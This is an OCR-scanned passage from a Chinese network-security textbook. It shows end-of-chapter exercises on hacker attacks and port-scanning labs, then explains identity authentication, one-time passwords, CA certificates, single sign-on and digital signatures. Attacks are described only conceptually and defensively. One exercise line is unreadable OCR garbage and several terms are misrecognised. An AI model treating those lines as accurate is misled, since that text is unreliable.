(3) 改变 路 由 信息 ,修改 Windows NT 注册 表 等 行为 属于 拒绝 服务 攻击 的 ( 
25 


A. 资源 消耗 型 B. 配置 修改 型 C. 服务 利用 型 D. 物理 破坏 型 


(4) ( ) 利 用 以 太 网 的 特点 ,将 设备 网 卡 设置 为 “混杂 模式 ”, 从 而 能 够 接收 到 整个 
以 太 网 内 的 网 络 数据 信息 。 
A. 缓冲 区 溢出 攻击 B. 木马 程序 
C. 嗅 探 程 序 D. 拒绝 服务 攻击 
(5) 字典 攻击 被 用 于 ( ys 
A. 用 户 欺 骗 B. 远程 登录 C. 网 络 嗅 探 D. 破解 密码 
2. 填空 题 


(1) 黑客 攻击 的 5 个 步 又 是 š 

(2) 端口 扫描 的 防范 也 称 为 ,主要 有 和 Š 

(3) 黑客 攻击 计算 机 的 手段 可 分 为 破坏 性 攻击 和 非 破坏 性 攻击 。 常 见 的 黑客 行为 有 
š ` \ 告 知 漏洞 ,获取 目标 主机 系统 的 非法 访问 权 。 

(4) 3k Je #|JH3E Z h ë B BL H b Z o 3 Y , Ú K J ñij E X BJ ML B yk 


(5) 按 数据 来 源 和 系统 结构 分 类 ,人 和 人 侵 检测 系统 分 为 3 类 : 


3. 简 答 题 


(1) 人 侵 检测 的 基本 功能 是 什么 ? 
(2) 通常 按 端口 号 范围 把 端口 分 为 几 类 ? 对 各 类 作 简 单 说 明 。 
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(3) 什么 是 统一 威胁 管理 ? 
(4) 什么 是 异常 入 侵 检 测 ? 什么 是 特征 入 侵 检 测 ? 


4. 实践 题 


(1) 利用 一 种 端口 扫描 工具 软件 ,练习 对 网 络 端口 进行 扫描 ,检查 安全 漏洞 和 隐患 。 
(2) 调查 一 个 网 站 的 网 络 防范 配置 情况 。 

(3) 使 用 X-Scan 对 服务 器 进行 评估 (上 机 操作 )。 

(4) 安装 配置 和 使 用 绿 盟 科 技 * 冰 之 眼 *( 上 机 操作 ) 。 

(5) 通过 调研 及 参考 资料 , 写 出 一 篇 关于 黑客 攻击 原因 与 预防 的 研究 报告 。 


身份 认证 与 访问 控制 


身份 认证 和 访问 控制 是 保护 网 络 系统 的 第 一 道 安全 屏障 , 随 着 网 络 技术 的 快速 发 展 
和 广泛 应 用 ,人 们 对 网 络 信息 资源 共享 和 依赖 的 程度 更 高 ,不 断 出 现 一 些 对 网 络 的 非 授 
权 访 问 .操作 欺骗 和 攻击 事件 ,给 国家 、 机 构 和 个 人 用 户 带 来 了 极 大 威胁 ,也 引起 了 对 网 
络 身份 认证 与 访问 控制 的 信任 危机 与 担忧 。 


S 教 学 目标 


。 掌握 身份 认证 的 概念 及 常用 认证 方式 、 方 法。 
° 了 解数 字 签 名 的 概念 、 功 能、 原理 和 过 程 。 

° 掌握 访问 控制 的 概念 .原理 、 类 型 机制 和 策略 。 
° 理解 安全 审计 的 概念 .类 型 .跟踪 与 实施 。 

。 学 会 进行 用 户 申 请 网 银 的 身份 认证 实验 。 
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【案例 6-1] 用 户 身份 认证 的 基本 方法 。 在 现实 中 有 3 种 身份 认证 方法 : 用 户 物件 
认证 (what you have, 你 有 什么 ,如 身份 证 ,护照 ,驾驶 证 等 各 类 证 件 )、 用 户 有 关 信 息 确认 
(what you know ,你 知道 什么 ) 或 体 貌 特征 识别 (who you are, 你 是 谁 )。 在 网 络 环境 中 ， 
也 同样 需要 一 定 的 技术 手段 或 方法 确认 网 络 用 户 与 实际 操作 者 的 一 致 性 。 


G11 身份 认证 的 概念 
1. 身份 认证 的 概念 


认证 (authentication) 是 对 主体 及 客体 双方 身份 进行 确认 的 过 程 。 认 证 主要 解决 主 
体 ( 访 问 方 ) 本 身 的 信用 和 客体 (被 访问 方 ) 对 主体 实施 访问 的 信任 问题 ,是 一 个 最 基本 的 
要 素 , 并 为 下 一 步 进行 的 授权 和 提供 信息 等 其 他 工作 奠定 重要 基础 ,也 是 对 用 户 身 份 和 
认证 信息 的 生成 存储、 同步 、 验 证 和 维护 的 整个 生命 周期 的 管理 。 

身份 认证 (identity authentication) 是 指 网 络 用 户 在 进入 系统 或 访问 受 限 系统 资源 
时 ,系统 对 用 户 身 份 的 鉴别 确认 的 过 程 。 是 用 户 在 进入 各 种 网 络 系统 或 访问 不 同 保护 级 
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别 的 系统 资源 时 ,系统 确认 该 用 户 的 身份 是 否 真实 、 合 法 和 唯一 的 过 程 , 是 保证 网 络 系统 
及 网 络 信 息 资源 安全 的 重要 措施 之 一 。 

全 注意 ; 身份 认证 是 保护 网 络 资源 安全 的 第 一 道 关 口 ,极为 重要 。 网 络 信 息 包括 用 
户 的 身份 等 信息 都 以 一 组 特定 数据 表示 ,系统 只 能 识别 用 户 的 数字 身份 ,所 有 对 用 户 的 
授权 也 是 针对 用 户 数字 身份 的 授权 。 身 份 认证 是 为 了 保证 以 数字 身份 进行 操作 的 操作 
者 就 是 其 合法 拥有 者 , 且 保证 操作 者 的 物理 身份 与 数字 身份 相 一 致 ,以 确保 用 户 身 份 的 
真实 、 合 法 和 唯一 ,从 而 起 到 防止 未 授权 用 户 登 入 系统 .访问 受 控 信 息 、 非 法 操作 获取 不 
正当 利益 .恶意 破坏 系统 数据 完整 性 等 情况 发 生 , 保 障 系统 的 第 一 道 关 口 的 安全 。 


2. 认证 技术 的 类 型 


认证 技术 是 用 户 身 份 鉴别 确认 的 重要 手段 ,也 是 网 络 系统 安全 中 的 一 项 重要 内 容 。 
从 鉴别 对 象 划 分 ,可 以 分 为 消息 认证 和 用 户 身份 认证 两 种 。 

(1) 消息 认证 。 用 于 保证 信息 的 完整 性 和 不 可 否认 性 。 通 常用 来 检测 主机 收 到 的 信 
息 是 否 完整 ,以 及 检测 信息 在 传递 过 程 中 是 否 被 修改 或 伪造 。 

(2) 身份 认证 。 鉴 别 用户 身 份 。 包括 识别 和 验证 两 部 分 。 识 别 是 鉴别 访问 者 的 身 
份 , 验 证 是 对 访问 者 身份 的 合法 性 进行 确认 。 

从 认证 关系 上 看 ,身份 认证 也 可 分 为 用 户 与 主机 间 的 认证 和 主机 之 间 的 认证 ,本 章 
只 讨论 用 户 与 主机 间 的 身份 认证 。 主 要 基于 以 下 确定 因素 : 用 户 所 知道 的 事物 ,如 口令 、 
密码 等 ;用 户 拥有 的 物品 ,如 印章 智能 卡 ( 如 信用 卡 ) 等 ;用 户 所 具有 的 生物 特征 ,如 指 
纹 声音. 虹膜. 签字、 笔迹 等 。 随 着 生物 识别 等 新 兴 技 术 的 发 展 , 身 份 认证 技术 也 逐渐 丰 
富 起 来 。 从 早期 的 用 户 名 、 密 码 方式 ,到 最 近 发 展 起 来 的 指纹 识别 .虹膜 识别 . 掌 纹 识别 、 
声 纹 识 别 等 ,都 成 为 身份 认证 与 访问 控制 的 重要 手段 。 

知识 拓展 ”认证 技术 除了 上 述 从 鉴别 对 象 角度 分 类 之 外 ,也 可 从 在 网 络 系统 中 的 
认证 方式 等 方面 进行 分 类 ,应 视 具 体 情况 而 定 。 


612 常用 网 络 身份 认证 方式 
网 络 系统 中 常用 的 身份 认证 方式 有 以 下 几 种。 
1. 静态 密码 方式 


静态 密码 方式 是 指 以 用 户 名 及 密码 认证 的 方式 ,是 最 简单 .最 常用 的 身份 认证 方法 。 
每 个 用 户 的 密码 由 用 户 自己 设 定 ,只 有 用 户 本 人 知道 。 只 要 能 够 正确 输入 密码 ,计算 机 
就 认为 操作 者 是 合法 用 户 。 实 际 上 ,很 多 用 户 为 了 方便 起 见 ,经 常用 生日 .电话 号 码 等 具 
有 用 户 自身 特征 的 字符 串 作 为 密码 .为 系统 安全 留 下 了 隐患 。 同 时 ,由 于 密码 是 静态 数 
据 , 系 统 在 验证 过 程 中 需要 通过 网 络 介质 传输 ,很 容易 被 木马 程序 或 监听 设备 截获 。 因 
此 ,用 户 名 及 密码 方式 是 安全 性 比较 低 的 身份 认证 方式 。 


2. 动态 口令 认证 


动态 口令 是 应 用 最 广 的 一 种 身份 识别 方式 ,基于 动态 口令 认证 的 方式 主要 有 动态 短 
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信和 密码 和 动态 口令 牌 ( 卡 ) 两 种 方式 ,口令 一 次 一 密 。 前 者 是 用 系统 发 给 用 户 注 册 手 机 的 
动态 短信 密码 进行 身份 认证 。 后 者 则 以 发 给 用 户 的 动态 口令 牌 进行 认证 ,如 图 6-1 所 示 ， 
很 多 世界 500 强 企 业 运 用 其 保护 登入 安全 ,广泛 应 用 在 VPN、 网 上 银行 .电子 商务 等 
领域 。 


3. USB Key 认证 


近 几 年 来 ,USB Key(U 盾 ) 认 证 方式 得 到 了 广泛 应 用 。 它 主要 采用 软 硬 件 相 结 合 、 
一 次 一 密 的 强 双 因素 (两 种 认证 方法 ) 认 证 模式 ,很 好 地 解决 了 安全 性 与 易 用 性 之 间 的 矛 
盾 。USB Key 是 一 种 USB 接口 的 硬件 设备 ,内 置 单片机 或 智能 卡 芯片 ,可 存储 用 户 的 密 
钥 或 数字 证 书 , 利 用 其 内 置 的 密码 算法 实现 对 用 户 身 份 的 认证 。 其 身份 认证 系统 主要 有 
两 种 认证 模式 : 基于 冲击 /响应 模式 和 基于 PKI 体系 的 认证 模式 。 常 用 的 网 银 USB Key 


如 图 6-2 所 示 。 


6-1 动态 口令 牌 6-2 PQR USB Key 


4. 生物 识别 技术 


生物 识别 技术 是 指 通过 可 测量 的 生物 信息 和 行为 等 特征 进行 身份 认证 的 一 种 技术 。 
认证 系统 测量 的 生物 特征 一 般 是 用 户 唯一 的 生理 特征 或 行为 方式 。 生 物 特 征 分 为 身体 
特征 和 行为 特征 两 类 。 身 体 特征 包括 指纹 、 掌 形 、 虹 膜 \ 人 体 气味 、 脸 形 、 手 的 血管 和 
DNA 等 ,行为 特征 包括 签名 、 语 音 , 行 走 步 态 等 。 


5. CA 认证 


国际 认证 机 构 通称 为 CA(Certification Authority) ,是 负责 数字 证 书 的 发 放 、 管 理 、 
检验 或 取消 的 机 构 。 用 于 检查 证 书 持 有 者 身份 的 合法 性 ,并 签发 管理 证 书 , 以 防 证 书 
被 伪造 或 算 改 。 随 着 网 上 银行 及 电子 商务 等 广泛 应 用 的 在 线 支付 手段 的 不 断 完善 ,网 
络 交 易 已 变 得 更 加 大 众 化 ,安全 问题 更 加 重要 。 网 络 间 的 身份 认证 成 为 安全 发 展 的 关 
键 。 认 证 机 构 如 同一 个 权威 可 信 的 中 间 人 ,可 核实 交易 各 方 的 身份 ,负责 电子 证 书 的 
发 放 和 管理 。 每 个 机 构 或 个 人 上 网 用 户 都 要 有 各 自 的 网 络 身 份 证 作为 唯一 识别 。CA 
发 放 的 证 书 类 型 如 表 6-1 所 示 。 证 书 发 放 、 管 理 和 认证 是 一 个 复杂 的 过 程 , 即 CA 认证 
过 程 。 

CA 作为 网 络 安全 可 信 认 证 及 证 书 管理 机 构 , 其 主要 职能 是 管理 和 维护 所 签发 的 
证 书 , 并 提供 各 种 证 书 服 务 , 包 括 证 书 的 签发 .更 新 .回收 .归档 等 。CA 系统 的 主要 功 
能 是 管理 其 辖 域内 的 用 户 证 书 , 所 以 .CA 系统 功能 及 CA 证 书 的 应 用 将 围绕 证 书 进行 
管理 。 
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表 6-1 证 书 的 类 型 与 作用 


证 书 名 称 证 书 类 型 主要 功能 描述 

个 人 证 书 个 人 证 书 个 人 网 上 交易 、 网 上 支付 .电子 邮件 等 相关 网 络 操作 
单位 身份 证 书 用 于 企 事 业 单位 网 上 交易 、 网 上 支付 等 

单位 证 书 E-mail 证 书 用 于 企 事业 单位 内 安全 电子 邮件 通信 
部 门 证 书 用 于 企 事 业 单位 内 某 个 部 门 的 身份 认证 

服务 器 证 书 企业 证 书 用 于 服务 器 、 安 全 站 点 认证 等 
个 人 证 书 用 于 个 人 软件 开发 者 对 其 软件 的 签名 

代码 签名 证 书 
企业 证 书 用 于 软件 开发 企业 对 其 软件 的 签名 


注 : 数字 证 书 标准 有 X. 509 证 书 、 简 单 PKI 证 书 .PGP 证 书 和 属性 证 书 。 


CA 的 主要 职能 体现 在 以 下 3 个 方面 : 

(1) 管理 和 维护 客户 的 证 书 和 证 书 作废 表 (CRL)。 

(2) 维护 整个 认证 过 程 的 安全 。 

(3) 提供 安全 审计 的 依据 。 

知识 拓展 ”数字 证 书 在 安全 通信 过 程 中 是 证 明 用 户 合法 身份 和 提供 用 户 合法 公 
钥 的 凭证 ,是 建立 保密 通信 的 基础 。 在 各 类 证 书 服务 中 ,除了 证 书 的 签发 过 程 需要 人 为 
参与 控制 外 ,其 他 服务 都 可 利用 通信 信道 交换 用 户 与 CA 证 书 服务 消息 。 
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1. 身份 认证 系统 的 构成 


身份 认证 系统 一 般 包 括 3 个 部 分 : 认证 服务 器 、 认 证 系统 客户 端 和 认证 设备 。 系 统 
主要 通过 身份 认证 协议 和 认证 系统 软 硬 件 实现 身份 认证 。 其 中 ,身份 认证 协议 又 分 为 单 
向 认证 协议 和 双向 认证 协议 。 若 通信 双方 只 需 一 方 鉴别 另 一 方 的 身份 , 则 称 单项 认证 协 
议 ; 如 果 双 方 都 需要 验证 对 方 身份 , 则 称 双向 认证 协议 。 认 证 系统 的 网 络 结构 如 图 6-3 
所 示 。 

【案例 6-2] AAA 认证 系统 在 现 阶段 应 用 最 广泛 。 其 中 ,认证 (Authentication) 是 
验证 用 户 身 份 与 可 使 用 网 络 服务 的 过 程 ,授权 (Authorization) 是 依据 认证 结果 开放 网 络 
服务 给 用 户 的 过 程 ,审计 (Accounting) 是 记录 用 户 对 各 种 网 络 服务 的 用 量 并 计 费 的 过 程 。 

AAA 软 硬 件 接 口 是 身 份 认证 系统 的 关键 部 分 。 系 统 中 专门 设计 的 AAA 平台 可 以 
实现 相对 灵活 的 认证 ,授权 ,审计 功能 ,并 且 系 统 预 留 了 扩展 接口 ,可 以 根据 具体 业务 系 
统 的 需要 ,灵活 进行 相应 的 扩展 和 调整 。 

知识 拓展 ”用户 在 访问 网 络 系统 时 , 先 要 经 过 身份 认证 系统 识别 身份 检测 访问 权 
限 ,系统 根据 用 户 的 身份 和 授权 数据 库 中 相应 的 权限 ,决定 用 户 所 能 访问 的 资源 。 授 权 
数据 库 由 系统 安全 管理 员 按 规定 及 需求 进行 配置 ,审计 系统 根据 审计 设置 并 记录 用 户 的 
请 求 和 行为 ,访问 控制 和 审计 系统 都 要 依赖 于 身份 认证 系统 提供 的 认证 信息 鉴别 用 户 的 
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校园 网 
身份 验证 
内 网 交换 机 


认证 服务 器 


口 口 口 自 自 


网 主机 ”内 网 主机 内 网 主机 ”Web 服务 器 ”数据 库 服务 器 


图 6-3 认证 系统 网 络 结构 图 
身份 ,因此 ,身份 认证 是 安全 系统 中 的 第 一 道 关 卡 。 
2. 常用 认证 系统 及 认证 方法 


在 网 络 系统 中 ,各 用 户 以 数字 认证 方式 确定 身份 。 网 络 中 各 种 资源 以 认证 机 制 提供 
安全 保护 。 认 证 机 制 与 授权 机 制 常 结合 一 起 ,通过 认证 的 用 户 才 可 获得 使 用 权限 。 互 联 
网 最 常用 的 认证 方法 为 固定 口令 方式 一 次 性 口令 和 双 安 全 因素 安全 令 牌 。 

1) 固定 口令 认证 

在 网 络 上 最 为 通用 的 认证 系统 还 是 常见 的 固定 口令 认证 , 它 是 一 种 依靠 检验 由 用 户 
设 定 的 固定 字符 串 进行 系统 认证 的 方式 。 当 通过 网 络 访问 网 站 资源 时 ,系统 会 要 求 输入 
用 户 名 和 密码 。 在 账户 和 密码 被 确认 后 ,用 户 便 可 访问 授权 的 资源 。 这 种 认证 方式 简 
单 ,但 由 于 其 相对 固定 ,很 容易 受到 以 下 的 攻击 : 

(1) 网 络 数据 流 窃 听 (sniffer)。 通 常 认证 信息 需要 通过 网 络 系 统 传递 ,而 且 很 多 认 
证 系统 的 口令 是 未 经 加 密 的 明文 ,攻击 者 通过 窃听 网 络 数 据 ,很 容易 分 辨 出 某 种 特定 系 
统 的 认证 数据 ,并 提取 出 用 户 名 和 密码 。 

(2) 认证 信息 截取 / 重 放 (record/replay)。 有 的 系统 会 将 认证 信息 进行 简单 加 密 后 
再 传输 ,如 果 攻 击 者 无 法 用 第 一 种 方式 推算 出 密码 ,可 以 使 用 截取 / 重 放 方式 。 

(3) 字典 攻击 。 攻 击 者 使 用 字典 中 收集 的 单词 尝试 用 户 的 密码 ,因此 ,很 多 系统 都 建 
议 用 户 在 密码 中 加 入 特殊 字符 与 数字 混用 ,以 提高 密码 的 安全 性 。 

(4) 穷 举 尝试 (brute force)。 一 种 特殊 的 字典 攻击 ,使 用 字符 串 的 全 集 作 为 字典 。 
若 用 户 的 密码 较 短 ,很 容易 被 穷 举 列 出 ,所 以 ,重要 系统 都 建议 使 用 长 且 复 杂 的 口令 。 
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(5) 窥探 密码 。 利 用 与 被 攻击 系统 接近 的 机 会 ,监视 或 窥探 用 户口 令 密码 。 

(6) 社会 工程 攻击 。 冒 充 合法 用 户 发 送 邮件 或 打 电 话 给 管理 人 员 ,骗取 口令 。 

(7) 垃圾 搜寻 。 通 过 搜寻 被 攻击 者 的 丢弃 物 ,得 到 与 攻击 系统 有 关 的 信息 。 

2) 一 次 性 (动态 ) 口 令 

为 了 改进 固定 口令 的 安全 问题 ,提出 了 一 次 性 口令 (One Time Password,OTP) 认 证 
体制 ,主要 在 登入 过 程 中 加 入 不 确定 因素 ,使 每 次 登入 过 程 中 传送 的 信息 都 不 相同 ,从 而 
提高 系统 安全 性 。 一 次 性 口令 认证 系统 的 口令 生成 包括 以 下 两 个 环节 : 

(1) 生成 不 确定 因子 。 常 用 的 生成 不 确定 因子 的 方式 有 3 种 : 

@ 口令 序列 方式 。 口令 为 一 个 前 后 相关 的 单 向 序列 ,系统 只 记录 第 N 个 口令 。 用 
户 以 第 N 一 1 个 口令 登 人 时 ,系统 用 单 向 算法 得 出 第 N 个 口令 并 与 所 存 的 第 N 个 口令 
比较 , 若 匹配 ,可 确认 用 户 的 合法 性 。 由 于 N 为 有 限 , 用 户 登 入 N 次 后 必须 重新 初始 化 
口令 序列 。 

@ 挑战 /回答 方式 。 用 户 登入 时 得 到 系统 发 送 的 一 个 随机 数 ,通过 某 种 单 向 算法 将 
口令 和 随机 数 混合 后 发 送 给 系统 ,系统 以 同样 的 方法 验算 , 即 可 验证 用 户 身 份 。 

@ 时 间 同 步 方式 。 以 用 户 登 入 时 间作 为 随机 因素 ,此 方式 对 双方 的 时 间 准 确 性 要 求 
较 高 ,一般 以 分 钟 为 时 间 单 位 ,对 时 间 误 差 的 要 求 达 士 1min。 

(2) 生成 一 次 性 口令 。 利 用 不 确定 因子 生成 一 次 性 口令 的 方式 有 两 种 : 

(Q 硬件 卡 (token card)。 在 具有 计算 功能 的 硬件 卡 上 输入 不 确定 因子 , 卡 中 集成 的 
计算 逻辑 对 输入 数据 进行 处 理 , 并 将 结果 反馈 给 用 户 作为 一 次 性 口令 。 基 于 硬件 卡 的 一 
次 性 口令 大 多 属于 挑战 /回答 方式 ,一 般配 备 有 数字 按键 ,便于 不 确定 因子 的 输入 。 

@ 软件 (soft token) 。 与 硬件 卡 基 本 原理 类 似 , 以 软件 代替 其 计算 逻辑 。 软 件 口令 
生成 方式 功能 更 强 , 灵 活性 更 高 , 某 些 软件 还 可 限定 用 户 登 入 的 地 点 。 

3) 双 因 素 安全 令 牌 及 认证 系统 

在 现代 数字 化 社会 ,以 密码 方式 提供 系统 的 安全 认证 已 无 法 满足 需求 。 目 前 这 种 方 
法 虽然 仍 在 大 量 使 用 ,但 其 中 一 直 存 在 较 多 的 安全 隐患 。 一 是 账号 口令 的 配置 非常 烦 
琐 , 网 络 中 的 每 一 个 结 点 都 需要 配置 ;二 是 为 了 保证 口令 的 安全 性 ,必须 经 常 更 改口 令 ， 
耗费 大 量 的 人 力 和 时 间 。 同 时 ,系统 各 自 为 政 ,缺乏 授权 和 审计 的 功能 ,无 法 根据 用 户 级 
别 进 行 分 级 授权 ,也 不 能 提供 用 户 访问 设备 的 详细 审计 信息 。 

安全 令 牌 是 重要 的 双 因 素 认 证 方式 。 双 因素 安全 令 牌 (secure key) 已 经 成 为 认证 系 
统 的 主要 手段 。 下 面 以 E-Securer 为 例 , 简 要 介绍 双 因 素 安 全 令 牌 及 认证 系统 。 

(1) E-Securer 的 组 成 。E-Securer 由 安全 身份 认证 服务 器 、 安 全 令 牌 .认证 代理 、 认 
证 模块 等 组 成 。@ 安 全 身份 认证 服务 器 主要 提供 数据 存储 \AAA 服务 .管理 等 功能 ,是 
网 络 中 整个 认证 系统 的 核心 部 分 。@@ 双 因素 安全 令 牌 用 于 生成 用 户 当 前 登入 的 动态 口 
令 ,是 身份 认证 最 直接 的 体现 。 动 态 口令 卡 采用 可 靠 设计 ,可 抵御 恶意 用 户 读 取 其 中 的 
重要 信息 。 图 具有 认证 代理 (authentication agent) 的 被 保护 系统 ,通过 认证 代理 向 认证 
服务 器 发 送 认证 请 求 ,保证 系统 身份 认证 的 安全 。 系 统 提供 简单 易 用 的 认证 API( 应 用 
程序 编程 接口 ) 软 件 供 使 用 ,有 助 于 应 用 系统 快速 集成 与 定制 。E-Securer 安全 认证 系统 
如 图 6-4 所 示 。 
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6-4 E-Securer 安全 认证 系统 


(2) E-Securer 的 安全 性 。E-Securer 系统 依据 动态 口令 机 制 实 现 动 态 身 份 认证 ,很 
好 地 解决 了 远程 /网 络 环境 中 的 用 户 身 份 认证 问题 。 同 时 ,系统 具有 集中 用 户 管理 和 日 
志 审 计 功 能 ,便于 管理 员 对 整个 企业 用 户 进行 集中 的 管理 授权 和 事后 日 志 审 计 。 

(3) 双 因 素 身份 认证 系统 的 技术 特点 与 优势 主要 体现 在 7 个 方面 : 系统 与 安全 令 
牌 相 配合 ,通过 双 因 素 认 证 保障 网 络 系统 的 安全 ; @ 通 过 配置 用 户 访问 权限 ,可 有 效 控制 
访问 权限 并 有 针对 性 地 实现 用 户 职责 分 担 ; @ 为 系统 提供 详尽 的 相关 安全 审计 和 跟踪 信 
息 ; @ 采 用 先进 的 RADIUS 等 国际 标准 协议 ,具有 高 度 的 通用 性 ; @ 可 在 多 个 协议 模块 
之 间 实 现 负载 均衡 , 且 两 台 统 一 认证 服务 器 之 间 可 实现 热 备份 ,同时 认证 客户 端 可 以 在 
两 台 服 务 器 之 间 自 动 切 换 ; @ 提 供 Web 图 形 化 管理 界面 ,可 极 大 地 方便 网 络 管理 员 对 系 
统 进行 集中 管理 维护 和 审计 等 工作 ; 技术 产品 可 支持 主流 的 软 硬 件 设备 。 

4) 单 点 登入 系统 

在 大 型 网 络 系统 中 , 面 对 各 种 服务 器 系统 认证 方法 与 手段 ,用 户 在 访问 系统 或 者 登 
入 公司 分 支 机 构 时 总 要 记 住 不 同 的 用 户 名 和 口令 。 这 种 情况 不 仅 不 易 管 理 , 也 为 网 络 安 
全 留 下 隐患 ,为 此 产生 了 单 点 登入 系 统 。 

单 点 登 人 (Single Sign On,SSO) 也 称 单 次 登入 ,是 在 多 个 应 用 系统 中 ,用 户 只 需要 登 
入 一 次 就 可 以 访问 所 有 相互 信任 的 应 用 系统 ,可 将 一 次 主要 的 登入 映射 到 其 他 应 用 中 用 
于 同一 个 用 户 的 登入 ,这 种 机 制 是 目前 比较 流行 的 企业 业务 整合 的 解决 方案 之 一 。 其 
中 ,对 网 络 服务 器 认证 由 专门 的 认证 服务 器 负责 ,并 且 统 一 对 登入 用 户 授权 。 

单 点 登入 相 对 于 传统 登入 的 优势 主要 体现 在 5 个 方面 : 

(1) 管理 简单 。 现 有 的 操作 系统 实现 中 ,SSO 的 相关 任务 可 以 作为 日 常 维护 工作 的 
一 部 分 ,使 用 与 其 他 任务 管理 相同 的 工具 来 执行 。 
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(2) 管理 控制 便捷 。Windows 中 的 所 有 网 络 管理 信息 ,包括 SSO 的 特定 信息 ,都 存 
放 在 一 个 用 Active Directory 组 织 的 存储 库 中 。 对 每 个 用 户 的 权限 与 特权 , 仅 有 一 个 授 
权 列 表 ,使 管理 员 在 更 改 或 维护 用 户 特 权 后 ,可 将 结果 传送 到 整个 网 络 系统 。 

(3) 使 用 简捷 。 用 户 不 用 多 次 登入 ,也 不 需 在 访问 网 络 资源 时 记 住 很 多 密码 。 同 时 ， 
“帮助 中 心 ? 工 作 也 更 为 简单 ,不 用 再 大 量 处 理 因 忘记 密码 而 造成 的 帮助 请 求 。 

(4) 安全 性 更 高 。SSO 可 用 的 方法 都 可 提供 用 户 身 份 验证 ,并 为 用 户 与 网 络 资源 的 
会 话 加 密 黄 定 了 基础 。 不 仅 取消 了 多 密码 访问 ,还 降低 了 用 户 习 惯 写 下 密码 或 多 次 输入 
密码 而 带 来 的 密码 被 盗用 的 危险 。 此 外 ,由 于 将 网 络 管理 信息 并 人 存储 库 ,管理 员 还 可 
确认 所 禁用 的 用 户 账号 ,从 而 使 网 络 系统 安全 性 更 高 。 

(5) 合并 异 构 网 络 。 通 过 连接 各 种 网 络 ,相关 的 网 络 管理 工作 也 可 以 进行 合并 ,从 而 
确保 了 管理 的 优化 ,实现 整个 系统 安全 策略 统一 实施 。 

讨论 思考 

(1) 什么 是 身份 认证 ? 身份 认证 技术 有 哪 几 种 类 型 ? 

(2) 常用 的 身份 认证 方式 有 哪些 ? 举例 说 明 。 

(3) 常用 的 认证 系统 和 认证 方法 有 哪些 ? 


62 数字 签名 概述 


621 数字 签名 的 概念 及 功能 


1. 数字 签名 的 概念 及 种 类 


数字 签名 (digital signature) 又 称 公 钥 数字 签名 或 电子 签 章 ,是 以 电子 形式 存储 于 数 
据 信息 中 或 作为 其 附件 或 逻辑 上 与 之 有 联系 的 数据 ,是 一 种 认证 鉴别 来 源 数 据 信息 真实 
可 靠 性 的 方法 。 数 字 签 名 可 以 保证 信息 来 源 的 真实 性 、 数 据 传输 的 完整 性 和 可 审查 性 ， 
可 用 于 辨识 数据 签署 人 的 身份 ,并 表明 签署 人 对 数据 中 所 含 信息 内 容 的 认可 。 数 字 签 名 
类 似 于 写 在 纸 上 的 普通 手写 签名 ,主要 通过 采用 公 钥 加 密 技术 实现 。 

基于 公 钥 密码 体制 和 私 钥 密码 体制 都 可 获得 数字 签名 ,目前 主要 是 基于 公 钥 密码 体 
制 的 数字 签名 。 包 括 普通 数字 签名 和 特殊 数字 签名 两 种 。 普 通 数字 签名 算法 有 RSA、 
ElGamal, Fiat-Shamir、 Guillou-Quisquater、 Schnorr、 Ong-Schnorr-Shamir 数字 签名 算 
法 .DES/DSA 椭圆 曲线 数字 签名 算法 和 有 限 自动 机 数字 签名 算法 等 。 特 殊 数 字 签 名 有 
讶 签名、 代理 签名 、 群 签名 ,不 可 否认 签名 、 公 平 盲 签名 ,门限 签名 和 具有 消息 恢复 功能 的 
签名 等 ,与 具体 应 用 环境 关系 密切 。 实 现 数字 签名 的 技术 方法 包括 基于 PKI 公 钥 密码 技 
术 的 数字 签名 ,以 生物 特征 统计 学 为 基础 的 生物 特征 识别 ,能 识别 发 件 人 身份 的 密码 代 
号 .密码 或 个 人 识别 码 PIN 等 。 

0 因 展 阅读 ”数字 签名 广泛 应 用 于 电子 银行 .电子 商务 、 电 子 政 务 等 方面 ,还 涉及 认 
证 法 律 问题 ,美国 联邦 政府 基于 有 限 域 上 的 离散 对 数 问 题 制 定 了 相关 的 数字 签名 标准 
(DSS) 。 
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2. 数字 签名 的 功能 


数字 签名 的 主要 功能 是 保证 信息 传输 的 完整 性 ,对 发 送 者 进行 身份 认证 ,防止 交易 
中 的 抵赖 行为 发 生 。 数 字 签名 技术 是 将 摘要 信息 用 发 送 者 的 私 钥 加 密 , 与 原文 一 起 传送 
给 接收 者 。 接 收 者 只 有 用 发 送 的 公 钥 才能 进行 解密 ,然后 用 散 列 函数 对 收 到 的 原文 产生 
一 个 摘要 信息 ,与 解密 的 摘要 信息 对 比 。 无 论 采 用 上 述 哪 种 具体 算法 及 实现 方法 ,其 最 
终日 的 都 是 为 了 实现 以 下 6 种 安全 保障 功能 : 

(1) 签名 必须 可 信 。 文 件 的 接收 者 确信 发 送 且 签名 者 是 认定 后 在 文件 上 签 的 名 。 

(2) 签名 无 法 抵赖 。 发 送 者 事后 不 能 抵赖 对 报 文 的 签名 ,可 以 进行 比 对 核实 。 

(3) 签名 不 可 伪造 。 签 名 可 以 证 明 是 签字 者 而 非 其 他 人 在 文件 上 签 的 名 。 

(4) 签名 不 能 重用 。 签 名 是 文件 的 一 部 分 ,不 可 将 其 签名 再 移 到 其 他 文件 上 。 

(5) 签名 不 可 变更 。 签 名 和 文件 在 整个 传输 过 程 中 不 可 修改 或 分 离 。 

(6) 签名 处 理 快 捷 。 便 于 根据 具体 业务 的 实际 需求 进行 广泛 应 用 。 


622 数字 签名 的 原理 及 过 程 


为 了 实现 数字 签名 的 传输 文件 信息 的 真实 性 、 完 整 性 和 不 可 抵赖 性 功能 ,主要 依靠 
数字 签名 的 算法 、 基 本 原理 和 过 程 。 


1. 数字 签名 算法 的 组 成 


一 个 数字 签名 算法 主要 由 两 部 分 组 成 : 签名 算法 和 验证 算法 。 签 名 者 可 使 用 一 个 秘 
密 的 签名 算法 签署 一 个 数据 文件 ,所 得 的 签名 可 通过 一 个 公开 的 验证 算法 进行 验证 。 

常用 的 数字 签名 技术 主要 是 公 钥 加 密 ( 非 对 称 加 密 ) 算 法 的 典型 应 用 。 数 字 签 名 中 
两 部 分 算法 的 应 用 过 程 是 : 数据 源 发 送 方 使 用 自己 的 签名 算法 私 钥 对 “数据 文件 ”进行 加 
密 处 理 , 完 成 对 “数据 文件 "的 合法 “签名 ”后 进行 发 送 , 数 据 接收 方 则 利用 对 方 的 验证 算 
法 公 钥 进行 解密 ,阅读 收 到 的 带 有 数字 签名 的 “数据 文件 ”, 并 将 解读 结果 用 于 对 “数据 文 
件 ” 的 认证 检验 ,以 确认 签名 的 真实 合法、 有效 性 。 


2. 数字 签名 基本 原理 及 过 程 


